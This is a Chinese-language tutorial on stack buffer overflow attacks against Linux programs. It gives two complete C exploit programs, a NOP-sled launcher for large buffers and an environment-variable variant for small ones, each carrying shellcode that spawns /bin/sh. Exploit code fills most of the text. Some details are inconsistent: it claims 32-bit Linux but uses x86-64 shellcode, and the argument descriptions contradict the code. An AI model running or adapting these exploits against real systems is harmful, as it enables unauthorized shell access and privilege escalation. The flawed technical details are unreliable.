一、 缓冲区足够大的情形
下面的代码是网上众多缓冲区溢出攻击代码的一个变种,它可以进行很多场合下的漏洞攻击。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax"); /* return rsp */
}
int main(int argc, char *argv[])
{
int i, offset = 0;
unsigned long sp, ret, *addr_ptr;
char *prg, *prgpath, *buffer, *ptr;
int size = 500; /* default buffer size */
sp = get_sp(); /* local sp value */
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
size = atoi(argv[3]);
if(argc > 4)
offset = atoi(argv[4]);
if(argc > 5)
sp = strtoul(argv[5], NULL, 0); /* input sp for remote exploits */
ret = sp - offset;
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned long *) ptr;
/* fill entire buffer with return addresses, ensures proper alignment */
for(i=0; i < size; i+=4) {
*(addr_ptr++) = ret;
}
/* fill 1st half of exploit buffer with NOPs */
for(i=0; i < size/2; i++) {
buffer[i] = '\x90';
}
/* place shellcode. start at the middle of the buffer */
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++) {
*(ptr++) = shellcode[i];
}
buffer[size-1] = '\0';
execl(prgpath, prg, buffer, (char*) 0);
free(buffer);
return 0;
}
上面这段代码主要作用是取代手工注入,代码运行基于32位的linux系统,buffer size预设为500字节,建设缓冲区不要少于500byte, 如果太小了就会装不下shellcode。
代码的参数1是将要攻击的程序的路径,参数2是将要攻击的程序的程序名称,参数3是缓冲区大小,参数4是调整地址对齐的偏移地址,参数5用于手工输入esp(这是缓冲区存储的地址范围)。
这段代码的注入模式是:NOPs+Shellcode+addr。
先用NOPs填充缓冲区开头的一半空间,这样更方便控制EIP(cpu指令指针),即使addr是一个大概的地址,也能成功的通过NOPs滑动至达shellcode的地址。
后面用addr填充就是确保能够覆盖保存的返回地址, 其中地址的对齐方式是4字节,可以通过程序的argv参数去控制offset偏移,精准的覆盖返回地址的前题是要正确对齐地址。
二、 缓冲区很小的情况
如果缓冲区只有10来个字节,不够安放shecode时,可以用环境变量的方法用存放shellcode,下面的代码用来实施小缓冲区漏洞攻击。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SIZE 128
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char *argv[])
{
char *prg, *prgpath, p[SIZE];
int *ptr, i, addr, offset = 0;
char *env[] = {shellcode, NULL};
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
offset = atoi(argv[3]); /* app path be exploited */
addr = 0xbffffffa - strlen(shellcode) - strlen(prg); /* calculate the exact location of the shellcode*/
ptr = (int *) (p + offset); /*fill buffer with computed address, start offset bytes into array for stack alignment*/
for(i = 0; i < SIZE; i+=4) {
*ptr++ = addr;
}
execle(prgpath, prg, p, NULL, env);
exit(1);
}
上面的代码涉及一个地址计算公式,这个公式是由Murat Balaban发现的, 这依赖于以下事实:即所有Linux ELF文件在映射到内存中时会将最后的相对地址设为0xbfffffff。参考linux程序运行内存布局可知,环境变量和参数就是存储在这个区域的。
这个公式是:
shellcode = 0xbfffffff - 0x4 - length(program name) - length(shellcode)
以下是示意图,基于linux的32位系统:
示意图
参考文章:
- Gray Hat Hacking, The Ethical Hacker's Handbook
- Computer Systems